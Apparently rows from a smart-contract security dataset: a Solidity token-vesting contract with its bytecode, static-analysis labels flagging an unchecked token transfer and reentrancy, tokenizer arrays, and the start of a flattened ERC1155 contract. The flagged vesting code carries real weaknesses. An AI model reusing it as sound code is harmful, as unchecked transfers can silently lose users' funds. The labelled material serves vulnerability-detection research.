Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // contract VestingContract is Ownable { using SafeMath for uint256; // CNTR Token Contract IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B); uint256[] vestingSchedule; address public receivingAddress; uint256 public vestingStartTime; uint256 constant public releaseInterval = 30 days; uint256 public totalTokens; uint256 public totalDistributed; uint256 index = 0; constructor(address _address) public { receivingAddress = _address; } function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner { require(vestingStartTime == 0); vestingSchedule = _vestingSchedule; for(uint256 i = 0; i < vestingSchedule.length; i++) { totalTokens = totalTokens.add(vestingSchedule[i]); } } function updateReceivingAddress(address _address) public onlyOwner { receivingAddress = _address; } function releaseToken() public { require(vestingSchedule.length > 0); require(msg.sender == owner() || msg.sender == receivingAddress); if (vestingStartTime == 0) { require(msg.sender == owner()); vestingStartTime = block.timestamp; } for (uint256 i = index; i < vestingSchedule.length; i++) { if (block.timestamp >= vestingStartTime + (index * releaseInterval)) { tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether)); totalDistributed = totalDistributed.add(vestingSchedule[i]); index = index.add(1); } else { break; } } } function getVestingSchedule() public view returns (uint256[] memory) { return vestingSchedule; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 2575, 2063, 26976, 2278, 2692, 2497, 21486, 17465, 16409, 2050, 27009, 2509, 2497, 14526, 2546, 2620, 2475, 2497, 2575, 17788, 2683, 2620, 17465, 2497, 2575, 2475, 2094, 2487, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1013, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 2003, 1996, 3115, 5248, 1999, 2152, 2504, 4730, 4155, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,506
0x96e71380a35d019382e4479aabe1ff5170275c58
// Sources flattened with hardhat v2.8.1 https://hardhat.org // File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.4.1 // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC1155/IERC1155.sol@v4.4.1 // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle( address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value ); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll( address indexed account, address indexed operator, bool approved ); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol@v4.4.1 // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol@v4.4.1 // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File @openzeppelin/contracts/utils/Address.sol@v4.4.1 // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/Context.sol@v4.4.1 // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.4.1 // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/token/ERC1155/ERC1155.sol@v4.4.1 // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require( account != address(0), "ERC1155: balance query for the zero address" ); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require( accounts.length == ids.length, "ERC1155: accounts and ids length mismatch" ); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See 